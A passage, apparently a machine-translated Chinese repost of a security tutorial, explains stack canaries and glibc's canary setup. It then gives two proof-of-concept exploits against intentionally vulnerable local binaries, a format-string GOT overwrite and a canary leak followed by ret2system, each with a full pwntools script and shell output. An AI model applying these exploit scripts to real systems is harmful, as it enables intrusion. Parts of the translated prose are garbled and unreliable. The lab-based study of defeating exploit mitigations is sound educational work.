堆栈金丝雀 / 堆栈 Cookie (SC)

基本设计

为了防止在程序运行时缓冲区损坏,除了数据执行保护 48称为 Stack Canary 被提出并最终实施,作为应对缓冲区腐败漏洞利用新威胁的对策。
它很早就改编了!
修补应用程序中的单个缓冲区漏洞是无害的,但即使在一个程序中,简单修补缓冲区大小的原因也可能对其他区域造成损害。
最重要的是,使用遗留代码运行的程序数量和系统权限满足其需求相当大 22.
总的来说,这种补丁驱动的软件开发性质与以下用途相结合输入不安全的语言,如 C/C++ 24使得这样的缓冲区问题仍然过于频繁地再次出现。
而不是尝试在源级别解决问题,修补会尝试这样做,金丝雀 58尝试解决手头的问题:堆栈结构。

基本方法是在局部变量或一般的缓冲区内容与返回地址之间放置一个填充词,即金丝雀。
这样做是为了每个*(*如果选择了正确的编译器标志) 34函数调用,而不是只为一些被遗忘的主函数调用一次。
因此,在漏洞利用期间,通常需要覆盖多个金丝雀值。
图中显示了一个基本方案

          Process Address                                   Process Address

Space                                             Space

+---------------------+                           +---------------------+

|                     |                           |                     |

0xFFFF  |  Top of stack       |                   0xFFFF  |  Top of stack       |

+   |                     |                       +   |                     |

|   +---------------------+                       |   +---------------------+

|   |  malicious code     <-----+                 |   |  malicious code     |

|   +---------------------+     |                 |   +---------------------+

|   |                     |     |                 |   |                     |

|   |                     |     |                 |   |                     |

|   |                     |     |                 |   |                     |

|   +---------------------|     |                 |   +---------------------|        

|   |  return address     |     |                 |   |  return address     |

|   +---------------------+     |                 |   +---------------------|

stack |   |  saved EBP          +-----+           stack |   |  saved EBP          |

growth | +---------------------+                growth |   +---------------------+

|   |  local variables    |                       |   |  stack canary       |

|   +---------------------+                       |   +---------------------+

|   |                     |                       |   |  local variables    |

|   |  buffer             |                       |   +---------------------+

|   |                     |                       |   |                     |

|   |                     |                       |   |  buffer             |

|   +---------------------+                       |   |                     |

|   |                     |                       |   |                     |

|   |                     |                       |   +---------------------+

|   |                     |                       |   |                     |

v   |                     |                       v   |                     |

0x0000  |                     |                   0x0000  |                     |

+---------------------+                           +---------------------+

备注:重拍基指针 76万一你忘了!

金丝雀可以由不同的指标组成。
随机值或终结符值是最后常用的值。
在代码执行期间,当到达(接近)返回指令时,首先检查金丝雀的完整性,以评估它是否被更改。
如果未发现任何更改,则恢复正常执行。
如果检测到被篡改的金丝雀值,程序执行将立即终止,因为它表明存在恶意意图。
用户控制的输入通常是造成这种情况的原因。
这种情况最简单的情况是基本的堆栈破坏攻击,其中写入缓冲区的字节量超过了缓冲区大小。
将其与不执行任何边界检查的系统调用配对会导致覆盖 Canary 值 73.

堆栈金丝雀在基于 Linux 的系统上的第一个实现出现在 1997 年,随着 StackGuard 的发布,它以GNU 编译器集合 (GCC) 的补丁集 58.

终结者金丝雀

让我们只看这个截图的示例代码,以便澄清:

int main(int argv, char **argc) {

int var1;

char buf[80];

int var2;

strcpy(buf,argc[1]);

print(buf);

exit(0);

}

正如名称终结者所暗示的那样,一旦在尝试覆盖期间达到它,它就应该停止覆盖。
此值的一个示例值是 。
该操作将停止,我们将无法更改退货地址。
如果不是用来读入缓冲区,我们将能够写入 ,但会停止它。
这就是这些终结符值在基本层面上的工作方式。0x000aff0d0x00strcpy()gets()strcpy()0x000x0a

一般来说,我们可以说终结符金丝雀包含 NULL(0x00)、CR (0x0d)、LF (0x0a) 和 EOF (0xff)。
这四个 2 字节字符的这种组合应终止大多数字符串操作,从而使溢出尝试无害。

随机金丝雀

另一方面,随机金丝雀不会尝试停止字符串操作。
他们希望让攻击者极难找到正确的值,因此一旦检测到篡改,进程就会终止。
随机值取自 if available,如果不支持,则通过对一天中的时间进行哈希处理来创建。
这种随机性足以阻止大多数预测尝试。/dev/urandom/dev/urandom

更仔细地了解金丝雀实现

让我们快速浏览一下最新的 Canary 的当前实现glibc 2.26 libc-start.c 37:

/* Set up the stack checker's canary.  */

uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);

[...]

__stack_chk_guard = stack_chk_guard;

该函数如下所示:_dl_setup_stack_chk_guard

static inline uintptr_t __attribute__ ((always_inline))

_dl_setup_stack_chk_guard (void *dl_random)

{

union

{

uintptr_t num;

unsigned char bytes[sizeof (uintptr_t)];

} ret = { 0 };

# __stack_chk_guard becomes a terminator canary

if (dl_random == NULL)

{

ret.bytes[sizeof (ret) - 1] = 255;

ret.bytes[sizeof (ret) - 2] = '\n';

}

# __stack_chk_guard will be a random canary

else

{

memcpy (ret.bytes, dl_random, sizeof (ret));#if BYTE_ORDER == LITTLE_ENDIAN

ret.num &= ~(uintptr_t) 0xff;#elif BYTE_ORDER == BIG_ENDIAN

ret.num &= ~((uintptr_t) 0xff << (8 * (sizeof (ret) - 1)));#else# error "BYTE_ORDER unknown"#endif

}

return ret.num;

}

有趣的是,我们可以看到前面提到的基本设计选择!
允许创建所有金丝雀类型。
如果为 null,则为终止符金丝雀,否则为随机金丝雀。_dl_setup_stack_chk_guard()dl_random__stack_chk_guard

局限性

这种技术存在几个弱点。
一种是静态金丝雀值,可以通过蛮力或简单地反复猜测轻松找到......
相反,使用随机值或终结符值可以在早期迁移此缺陷。
这加强了安全隐患,但攻击者仍可能规避此技术。
当找到一种方法在运行时从应用程序的内存空间中提取金丝雀值时,可以绕过金丝雀保护的应用程序。
或者,如果使用终结符金丝雀,则我们不能使用常见的字符串操作来写入它,但可以写入内存,直到金丝雀。
这有效地允许获得对帧指针的完全控制。
如果这是可能的,并且有可能写入堆栈或堆等内存区域,我们可以弯曲帧指针以指向内存中的指针。
这使我们能够0x000aff0dterminator_canary+shellcode_address返回到注入的 shell 代码 177.

另一种旁路可以通过一种称为结构化的技术来实现异常处理程序漏洞利用(SEH Exploit) 138.
它利用了堆栈金丝雀修改函数 pro- 和 epilogue 以进行金丝雀验证目的这一事实。
如果堆栈或堆上的缓冲区在运行时被覆盖,并且在执行复制/写入函数返回之前注意到故障,则会引发异常。
异常将传递给本地异常处理程序,该异常处理程序再次将其传递给正确的系统特定异常处理程序以处理错误。
将所述异常处理程序更改为指向用户控制的输入(如 shell 代码)会使其返回到该输入。
这绕过了任何金丝雀检查,并完成了对任何提供的恶意输入的执行。

注意:结构化异常处理程序是特定于 Windows 的!

注意2:这些限制并不代表如何绕过金丝雀的所有可能性!

概念验证 1

滥用堆栈 Canary 禁用的二进制文件

我就不在这里再讲这个了。
在我的上一次中,已经演示了如何通过基本的堆栈粉碎攻击来做到这一点品 48.

滥用已启用的堆栈 Canary

Note: ASLR is still disabled for now: echo 0 > /proc/sys/kernel/randomize_va_space

易受攻击的程序

让我们考虑一下这个小程序:

#include <stdlib.h>#include <unistd.h>#include <stdio.h>#include <string.h>

int target;

void vuln(){

char buffer[512];

fgets(buffer, sizeof(buffer), stdin);

printf(buffer);

printf("Welcome 0x00sec to Stack Canaries\n");

strdup(buffer);

return 0;

}

int main(int argc, char **argv){

vuln();

}

对于我们的PoC,我们不需要太多,因此该程序非常小。
它所做的只是通过一些输入并使用 打印它。由于一些可疑的原因,这里也存在fgets()printf()strdup()

编译它。
并检查我是否没有在启用的漏洞利用缓解措施上撒谎:gcc -fstack-protector-all -m32 -o vuln vuln.c

gef➤ checksec

[+] checksec for '/0x00sec/Canary/binary/vuln'

Canary : Yes →  value: 0xd41a2e00

NX : Yes

PIE : No

Fortify : No

RelRO : Partial

gef➤

数据执行保护 (NX) 以及 Canary 已完全启用。
为了可用性和其他 gdb 增强功能,已经可以显示当前的金丝雀值。
或者,如果存在堆栈金丝雀,我们始终拥有符号,我们可以搜索该符号:gef __stack_chk_fail

$ readelf -s ./vuln | grep __stack_chk_fail

5: 00000000     0 FUNC    GLOBAL DEFAULT  UND __stack_chk_fail@GLIBC_2.4 (3)

58: 00000000     0 FUNC    GLOBAL DEFAULT  UND __stack_chk_fail@@GLIBC_2

简要介绍一下装配体

gef➤ disassemble main

Dump of assembler code for function main:

0x080485ef <+0>: lea    ecx,[esp+0x4]

0x080485f3 <+4>: and    esp,0xfffffff0

0x080485f6 <+7>: push   DWORD PTR [ecx-0x4]

0x080485f9 <+10>: push   ebp

0x080485fa <+11>: mov    ebp,esp

0x080485fc <+13>: push   ecx

0x080485fd <+14>: sub    esp,0x24

0x08048600 <+17>: mov    eax,ecx

0x08048602 <+19>: mov    edx,DWORD PTR [eax]

0x08048604 <+21>: mov    DWORD PTR [ebp-0x1c],edx

0x08048607 <+24>: mov    eax,DWORD PTR [eax+0x4]

0x0804860a <+27>: mov    DWORD PTR [ebp-0x20],eax

0x0804860d <+30>: mov    eax,gs:0x14                          ; canary right here

0x08048613 <+36>: mov    DWORD PTR [ebp-0xc],eax      

0x08048616 <+39>: xor    eax,eax                              ; at this point we can inspect the canary in gdb as well

0x08048618 <+41>: call   0x8048576 <vuln>                     ; vuln() function call

0x0804861d <+46>: mov    eax,0x0

0x08048622 <+51>: mov    ecx,DWORD PTR [ebp-0xc]

0x08048625 <+54>: xor    ecx,DWORD PTR gs:0x14                ; canary check routine is started

0x0804862c <+61>: je     0x8048633 <main+68>

0x0804862e <+63>: call   0x8048410 <__stack_chk_fail@plt>     ; canary fault handler if check fails

0x08048633 <+68>: add    esp,0x24

0x08048636 <+71>: pop    ecx

0x08048637 <+72>: pop    ebp

0x08048638 <+73>: lea    esp,[ecx-0x4]

0x0804863b <+76>: ret    

End of assembler dump.

gef➤ disassemble vuln

Dump of assembler code for function vuln:

0x08048576 <+0>: push   ebp

0x08048577 <+1>: mov    ebp,esp

0x08048579 <+3>: sub    esp,0x218

0x0804857f <+9>: mov    eax,gs:0x14                            ; canary right here

0x08048585 <+15>: mov    DWORD PTR [ebp-0xc],eax

0x08048588 <+18>: xor    eax,eax

0x0804858a <+20>: mov    eax,ds:0x804a040

0x0804858f <+25>: sub    esp,0x4

0x08048592 <+28>: push   eax

0x08048593 <+29>: push   0x200

0x08048598 <+34>: lea    eax,[ebp-0x20c]

0x0804859e <+40>: push   eax

0x0804859f <+41>: call   0x8048400 <fgets@plt>                 ; fgets routine to fetch user input

0x080485a4 <+46>: add    esp,0x10

0x080485a7 <+49>: sub    esp,0xc

0x080485aa <+52>: lea    eax,[ebp-0x20c]

0x080485b0 <+58>: push   eax                                   ; user input is pushed as argument for printf

0x080485b1 <+59>: call   0x80483d0 <printf@plt>                ; printf routine call

0x080485b6 <+64>: add    esp,0x10

0x080485b9 <+67>: sub    esp,0xc

0x080485bc <+70>: push   0x80486e4                             ; string is pushed as argument for puts

0x080485c1 <+75>: call   0x8048420 <puts@plt>                  ; puts routine call

0x080485c6 <+80>: add    esp,0x10

0x080485c9 <+83>: sub    esp,0xc

0x080485cc <+86>: lea    eax,[ebp-0x20c]

0x080485d2 <+92>: push   eax                                   ; buffer contents pushed as argument to strdup

0x080485d3 <+93>: call   0x80483f0 <strdup@plt>                ; strdup routine call

0x080485d8 <+98>: add    esp,0x10

0x080485db <+101>: nop

0x080485dc <+102>: mov    eax,DWORD PTR [ebp-0xc]

0x080485df <+105>: xor    eax,DWORD PTR gs:0x14                ; canary check routine is started

0x080485e6 <+112>: je     0x80485ed <vuln+119>

0x080485e8 <+114>: call   0x8048410 <__stack_chk_fail@plt>     ; canary fault handler if check fails

0x080485ed <+119>: leave  

0x080485ee <+120>: ret    

End of assembler dump.

gef➤

所以到目前为止没有什么不寻常的。
我没有剥离二进制文件,我们期望的一切都在正确的地方。
此外,金丝雀的初始化和检查可以很好地观察到!
此外,还表明金丝雀检查是在每个被调用的函数中完成的,而不仅仅是在程序的函数中完成的。main()

回顾格式字符串攻击

以下漏洞利用了格式字符串错误。
因此,我将在这里快速回顾一下基础知识。
主要与 .
如果我们可以控制要打印的内容,假设用户控制的内容,那么我们可以使用以下格式参数作为输入来操作输出!printf()printf()buf[64]

Parameters* Meaning                                       Passed as

--------------------------------------------------------------------------

%d decimal (int)                                 value

%u unsigned decimal (unsigned int)               value

%x hexadecimal (unsigned int)                    value

%s string ((const) (unsigned) char*)             reference

%n number of bytes written so far, (*int)        reference

*Note: Only most relevant format paramters displayed

如果我们将n 传递给它,它会指示函数从堆栈中检索 n 个参数,并将它们显示为 8 位填充的十六进制数。
如果操作得当,这可以用于查看任何位置的内存,甚至可以将所需的字节量(与 )写入内存中的某个地址!%08x. printf()%n

如果你觉得你需要复习很多,看看这个来自 picoCTF 的格式字符串写入 16.

金丝雀绕过

我们将仔细研究如何覆盖全局偏移表 (GOT)!
这是可能的,因为我们没有完全启用的 RelRO:

部分 RELRO:

* the ELF sections are reordered so that the ELF internal data sections (.got, .dtors, etc.) precede the program's data sections (.data and .bss)

* non-PLT GOT is read-only

* GOT is still writeable

完整的 RELRO:

* supports all the features of partial RELRO

* the entire GOT is also (re)mapped as read-only

如果您正在为整个 Global Offset Table 的混乱而苦苦挣扎,我强烈建议您阅读以下文章@_py:

Linux 内部 ~ 动态链接魔法 12!

和Linux Internals ~ 符号分辨率的艺术 10更详细的介绍!

如果您在没有先验知识的情况下仍在继续阅读,以下是我将采取的基本方法:

1. Find a way to get a shell

2. Calculate the bytes to write for a format string attack

3. Overwrite the GOT entry for strdup() with a function we can actually use for an exploit: system()

首先,我们要检查我们的本地 libc 位于何处。
我们也可以从 gdb 中执行此操作:

gef➤ vmmap libc

Start End        Offset     Perm Path

0xf7dfd000 0xf7fad000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so <-

0xf7fad000 0xf7faf000 0x001af000 r-- /lib/i386-linux-gnu/libc-2.23.so

0xf7faf000 0xf7fb0000 0x001b1000 rw- /lib/i386-linux-gnu/libc-2.23.so

gef➤

使用的 libc 的基址位于 。0xf7dfd000

接下来,我们想找到一种方法来弹出一个壳。
还有什么比这更好的呢:system()

$ readelf -s /lib/i386-linux-gnu/libc-2.23.so | grep system

245: 00112ed0    68 FUNC    GLOBAL DEFAULT      13 svcerr_systemerr@@GLIBC_2.0

627: 0003ada0    55 FUNC    GLOBAL DEFAULT      13 __libc_system@@GLIBC_PRIVATE

1457: 0003ada0    55 FUNC    WEAK   DEFAULT     13 system@@GLIBC_2.0            <-

system()glibc 中的偏移量为 。0x3ada0

让我们把它们加到地址上,得到库中的最终地址。system()

0xf7dfd000 + 0x3ada0 = 0xf7e37da0

让我们检查一下我们的数学是否没有失败:

gef➤ x 0xf7e37da0

0xf7e37da0 <__libc_system>: 0x8b0cec83

gef➤

看起来不错!甜!

注意:关于如何操作的提醒系统() 24工程。

我们列表中的下一个是在 GOT 中找到的地址,以便能够覆盖它!strdup()

让我们看一下函数中的程序集片段:vuln()

...

0x080485c9 <+83>: sub    esp,0xc

0x080485cc <+86>: lea    eax,[ebp-0x20c]

0x080485d2 <+92>: push   eax

=> 0x080485d3 <+93>: call 0x80483f0 <strdup@plt>

0x080485d8 <+98>: add    esp,0x10

0x080485db <+101>: nop

...

gef➤ disassemble 0x80483f0

Dump of assembler code for function strdup@plt:

0x080483f0 <+0>: jmp    DWORD PTR ds:0x804a014

0x080483f6 <+6>: push   0x10

0x080483fb <+11>: jmp    0x80483c0

End of assembler dump.

gef➤

0x804a014是我们想要覆盖的地址!

利用

接下来是我整理的一个快速脚本,用于在不中断程序的任何正常控制流程的情况下获得一个 shell。
通过反复试验手动计算要覆盖的字节数。
首先,你要通过执行类似这样的操作来检查你的缓冲区参数在堆栈上的位置:strdup()system()

...

exploit = ""

exploit += "AAAABBBBCCCC"

exploit += "%x "*10

...

理想情况下,除了其他地址之外,您还可以在输出中快速找到。
如果你这样做,你可以看到你的馈电输入在哪个位置被倾倒。
例如,它可能看起来像这样:41414141 42424242 43434343

AAAABBBBCCCC200 f7faf5a0 f7ffd53c ffffcc48 f7fd95c5 0 41414141 42424242 43434343 25207825 78252078 20782520 25207825 78252078 20782520
这意味着我们的输入位于堆栈的第 7 个位置。
我们现在可以用更有意义的东西替换,比如我们想要覆盖的 GOT 中的条目。AAAABBBBCCCC

基本上,我们接下来要做的是写入一定数量的字节,然后更改 的地址。strdup()

我这样做了 4 次以覆盖 GOT 内的 4 个 2byte 位置。strdup()

#!/usr/bin/env python

import argparsefrom pwn import *from pwnlib import *

context.arch ='i386'

context.os ='linux'

context.endian = 'little'

context.word_size = '32'

context.log_level = 'DEBUG'

binary = ELF('./binary/vuln')

libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')

def pad(s):

return s+"X"*(512-len(s))

def main():

parser = argparse.ArgumentParser(description='pwnage')

parser.add_argument('--dbg', '-d', action='store_true')

args = parser.parse_args()

exe = './binary/vuln'

strdup_plt = 0x804a014

system_libc = 0xf7e37da0

exploit = "sh;#    "

exploit += p32(strdup_plt)

exploit += p32(strdup_plt+1)

exploit += p32(strdup_plt+2)

exploit += p32(strdup_plt+3)

exploit += "%9$136x"

exploit += "%9$n"

exploit += "%221x"

exploit += "%10$n"

exploit += "%102x"

exploit += "%11$n"

exploit += "%532x"

exploit += "%12$n"

padding = pad(exploit)

if args.dbg:

r = gdb.debug([exe], gdbscript="""

b *vuln+92

b *vuln+98

continue

""")

else:

r = process([exe])

r.send(padding)

r.interactive()

if __name__ == '__main__':

main()

sys.exit(0)

###Proof

$ python bypass_canary.py

[*] '/home/lab/Git/RE_binaries/0x00sec_WIP/Canary/binary/vuln2'

Arch:     i386-32-little

RELRO:    Partial RELRO

Stack:    Canary found

NX:       NX enabled

PIE:      No PIE (0x8048000)

[*] '/lib/i386-linux-gnu/libc-2.23.so'

Arch:     i386-32-little

RELRO:    Partial RELRO

Stack:    Canary found

NX:       NX enabled

PIE:      PIE enabled

[+] Starting local process './binary/vuln2': pid 20723

[*] Switching to interactive modesh;# \x14\xa0\x0\x15\xa0\x0\x16\xa0\x0\x17\xa0\x0                                                                                                                                 804a014                                                                                                                                                                                                                            0                                                                                              f7ffd000                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            f7ffd53cXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXwhoamiWelcome 0x00sec to Stack Canaries$ whoamilab

好吧,这奏效了,但它并不一定能打败堆栈金丝雀!
我刚刚打开了另一罐美味的攻击面,这样我就能够完全绕过金丝雀。
由于这感觉不太对劲,我将给出另一个 PoC 来以更合适的方式击败该机制。

概念验证 2

立即击败堆栈金丝雀 4 realz

好的,这一次展示了一种更“标准”的击败堆栈金丝雀的方法

易受攻击的程序

#include <stdio.h>#include <string.h>#include <stdlib.h>

#define STDIN 0

void untouched(){

char answer[32];

printf("\nCanaries are fun aren't they?\n");

exit(0);

}

void minorLeak(){

char buf[512];

scanf("%s", buf);

printf(buf);

}

void totallySafeFunc(){

char buf[1024];

read(STDIN, buf, 2048);

}

int main(int argc, char* argv[]){

setbuf(stdout, NULL);

printf("echo> ");

minorLeak();

printf("\n");

printf("read> ");

totallySafeFunc();

printf("> I reached the end!");

return 0;

}

这只是读取一些用户输入并打印出一些东西。
正如函数名称所暗示的那样,击败金丝雀的最简单方法是通过信息泄漏。
我们可以通过使用函数来实现这一点。
与以前类似,我们将滥用格式字符串。
之后,我们利用缓冲区溢出机会,将控制流重定向到我们喜欢的。minorLeak()totallySafeFunc()

Note: Obviously this binary is heavily vulnerable!

该漏洞利用的重点将放在 和 上。
让我们检查一下是否有任何可能的异常:minorLeak()totallySafeFunc()asm

gef➤ disassemble minorLeak

Dump of assembler code for function minorLeak:

0x080485f6 <+0>: push   ebp

0x080485f7 <+1>: mov    ebp,esp

0x080485f9 <+3>: sub    esp,0x218                            ; 536 bytes on the stack are reserved

0x080485ff <+9>: mov    eax,gs:0x14                          ; stack canary

0x08048605 <+15>: mov    DWORD PTR [ebp-0xc],eax

0x08048608 <+18>: xor    eax,eax

0x0804860a <+20>: sub    esp,0x8

0x0804860d <+23>: lea    eax,[ebp-0x20c]

0x08048613 <+29>: push   eax

0x08048614 <+30>: push   0x804879f

0x08048619 <+35>: call   0x80484b0 <__isoc99_scanf@plt>   ; user input is copied into buf

0x0804861e <+40>: add    esp,0x10

0x08048621 <+43>: sub    esp,0xc

0x08048624 <+46>: lea    eax,[ebp-0x20c]

0x0804862a <+52>: push   eax

0x0804862b <+53>: call   0x8048450 <printf@plt>           ; the contents of buf are printed out

0x08048630 <+58>: add    esp,0x10

0x08048633 <+61>: nop

0x08048634 <+62>: mov    eax,DWORD PTR [ebp-0xc]          ; stack canary verifucation routine started

0x08048637 <+65>: xor    eax,DWORD PTR gs:0x14

0x0804863e <+72>: je     0x8048645 <minorLeak+79>

0x08048640 <+74>: call   0x8048460 <__stack_chk_fail@plt>

0x08048645 <+79>: leave  

0x08048646 <+80>: ret                                     ; return to main()

End of assembler dump.

gef➤

gef➤ disassemble totallySafeFunc

Dump of assembler code for function totallySafeFunc:

0x08048647 <+0>: push   ebp

0x08048648 <+1>: mov    ebp,esp

0x0804864a <+3>: sub    esp,0x418                                ; 1048 bytes are reserved on the stack

0x08048650 <+9>: mov    eax,gs:0x14                              ; stack canary

0x08048656 <+15>: mov    DWORD PTR [ebp-0xc],eax

0x08048659 <+18>: xor    eax,eax

0x0804865b <+20>: sub    esp,0x4

0x0804865e <+23>: push   0x800

0x08048663 <+28>: lea    eax,[ebp-0x40c]

0x08048669 <+34>: push   eax

0x0804866a <+35>: push   0x0

0x0804866c <+37>: call   0x8048440 <read@plt>                 ; user input is requestet

0x08048671 <+42>: add    esp,0x10

0x08048674 <+45>: nop

0x08048675 <+46>: mov    eax,DWORD PTR [ebp-0xc]              ; stack canary verification routine

0x08048678 <+49>: xor    eax,DWORD PTR gs:0x14

0x0804867f <+56>: je     0x8048686 <totallySafeFunc+63>

0x08048681 <+58>: call   0x8048460 <__stack_chk_fail@plt>

0x08048686 <+63>: leave  

0x08048687 <+64>: ret                                         ; return to main()

End of assembler dump.

gef➤

到目前为止,除了明显的漏洞和堆栈金丝雀的存在之外,我们无法发现任何异常。
也就是说,让我们直接进入漏洞开发!

利用

#!/usr/bin/env python2

import argparsefrom pwn import *from pwnlib import *

context.arch ='i386'

context.os ='linux'

context.endian = 'little'

context.word_size = '32'

context.log_level = 'DEBUG'

binary = ELF('./binary/realvuln4')

libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')

def leak_addresses():

leaker = '%llx.' * 68

return leaker

def prepend_0x_to_hex_value(hex_value):

full_hex_value = '0x' + hex_value

return full_hex_value

def extract_lower_8_bits(double_long_chunk):

return double_long_chunk[len(double_long_chunk) / 2:]

def cast_hex_to_int(hex_value):

return int(hex_value, 16)

def get_canary_value(address_dump):

get_canary_chunk = address_dump.split('.')[-2]

get_canary_part = extract_lower_8_bits(get_canary_chunk)

canary_with_pre_fix = prepend_0x_to_hex_value(get_canary_part)

print("[+] Canary value is {}".format(canary_with_pre_fix))

canary_to_int = cast_hex_to_int(canary_with_pre_fix)

return canary_to_int

def get_libc_base_from_leak(address_dump):

get_address_chunk = address_dump.split('.')[1]

get_malloc_chunk_of_it = extract_lower_8_bits(get_address_chunk)

malloc_with_prefix = prepend_0x_to_hex_value(get_malloc_chunk_of_it)

print("[+] malloc+26 is @ {}".format(malloc_with_prefix))

libc_base = cast_hex_to_int(malloc_with_prefix)-0x1f6faa                # offset manually calculated by leak-libcbase

print("[+] This puts libc base address @ {}".format(hex(libc_base)))

return libc_base

def payload(leaked_adrs):

canary = get_canary_value(leaked_adrs)

libc_base = get_libc_base_from_leak(leaked_adrs)

bin_sh = int(libc.search("/bin/sh").next())

print("[+] /bin/sh located @ offset {}".format(hex(bin_sh)))

shell_addr = libc_base + bin_sh

print("[+] Shell address is {}".format(hex(shell_addr)))

print("[+] system@libc has offset: {}".format(hex(libc.symbols['system'])))

system_call = libc_base + libc.symbols['system']

print("[+] This puts the system call to {}".format(hex(system_call)))

payload = ''

payload += cyclic(1024)

payload += p32(canary)

payload += 'AAAA'

payload += 'BBBBCCCC'

#payload += p32(0x080485cb)          # jump to untouched to show code redirection

#payload += p32(start_of_stack)      # jump to stack start if no DEP this allows easy shell popping

payload += p32(system_call)

payload += 'AAAA'

payload += p32(shell_addr)

return payload

def main():

parser = argparse.ArgumentParser(description='pwnage')

parser.add_argument('--dbg', '-d', action='store_true')

args = parser.parse_args()

exe = './binary/realvuln4'

if args.dbg:

r = gdb.debug([exe], gdbscript="""

b *totallySafeFunc+42

continue

""")

else:

r = process([exe])

r.recvuntil("echo> ")

r.sendline(leak_addresses())

leaked_adrs = r.recvline()

print(leaked_adrs)

exploit = payload(leaked_adrs)

r.recvuntil("read> ")

r.sendline(exploit)

r.interactive()

if __name__ == '__main__':

main()

sys.exit(0)

这个漏洞并不是所有漏洞利用脚本中最漂亮的,但它可以完成这项工作。

这个快速脚本将完全执行我之前简要解释过的操作。
这是另一个细分:

首先,我们泄漏了一堆格式为字符串(长长整数)的地址%llx.

分析泄露的地址,
2b。事实证明,我们的堆栈金丝雀位于第 68 个泄露的地址
2c。此外,堆栈的中间位于第一个泄漏的 ll 整数的后 8 位内!

从泄漏中提取这些值

飞行器有效载荷:
4b。用垃圾
4c 填充缓冲区。插入泄露的金丝雀
4d. 代码重定向到
4e. 假基指针
4f. 最后附加的地址system@glibc/bin/sh

证明

$ python2 defeat_canary.py

[*] '/home/lab/Git/RE_binaries/0x00sec_WIP/Canary/binary/realvuln4'

Arch:     i386-32-little

RELRO:    Partial RELRO

Stack:    Canary found

NX:       NX enabled

PIE:      No PIE (0x8048000)

[*] '/lib/i386-linux-gnu/libc-2.23.so'

Arch:     i386-32-little

RELRO:    Partial RELRO

Stack:    Canary found

NX:       NX enabled

PIE:      PIE enabled

[+] Starting local process './binary/realvuln4': pid 20991ffffffffffffcb9c.f7df9008f7feffaa.f7e062e5f7fe1f60.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.f7fa5d002e786c6c.f7ffdad000000000.ffffcdc0ffffcd78.f7e5e3e9f7fe2b4b.f7fe2a70f7fa5000.108048200.804a014f7ffd918.f7ffdad0f7fe78a2.1f7fd34a0.1.f7fa5d60f7e532d8.0.f7ffd00000000000.ffffcd70080482a0.0.f7e350cbf7df9798.f7fa500000000000.ffffcdb8f7fa5000.f7fa5d60f7e3c696.ffffcda4080487a2.f7fa5d60f7e3c670.f7e3c675f7ffd918.80487a214b94100.

[+] Canary value is 0x14b94100

[+] Mid of Stack is @ 0xffffcb9c

[+] Beginning of Stack is -512 from that: 0xffffc99c

[+] malloc+26 is @ 0xf7feffaa

[+] This puts libc base address @ 0xf7df9000

[+] /bin/sh located @ offset 0x15ba0b

[+] Shell address is 0xf7f54a0b

[+] system@libc has offset: 0x3ada0

[+] This puts the system call to 0xf7e33da0

[*] Switching to interactive mode$ whoamilab$

我们可以在输出中看到,控制流被重定向并弹出了一个 shell!
那么我们现在如何处理这些信息呢?

如果我们假设我们可能存在信息泄漏,并且可以始终获取金丝雀值,那么绕过它们就不是问题。
重定向/更改程序的控制流程是下一个重要步骤。

如果启用了 DEP,则仅将其拉回堆栈将不起作用。

只有当 RELRO 仅部分启用时,才容易覆盖 GOT,并且在此用例中甚至可能不需要泄漏 canary,

否则,好的 ol' ret2system 仍然可以创造奇迹

结论

涵盖方法于 20 多年前首次实施。
对于这样的早期适应,安全性方面相当高。
但是,如果金丝雀想要可行,就必须实现对金丝雀的哪些影响?
我们通过关注他们的弱点来证明这一点!

为了安全起见,金丝雀必须至少确保以下属性:

* be not predictable (must be generated from a source with good entropy) => depends on the used random generator!

* must be located in a non-accessible location => we were able to access it!

* cannot be brute-forced => goes hand in hand with the argument before and was not true!

* should always contain at least one termination character => currently depends on the used canary, so not always the case!

对其他程序组件进行巧妙的检测,即使存在于程序中的每个功能中,也可以找到一种方法来构建旁路,甚至完全避免旁路。
两人提出的PoC希望以一种易于理解的方式展示上述内容。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值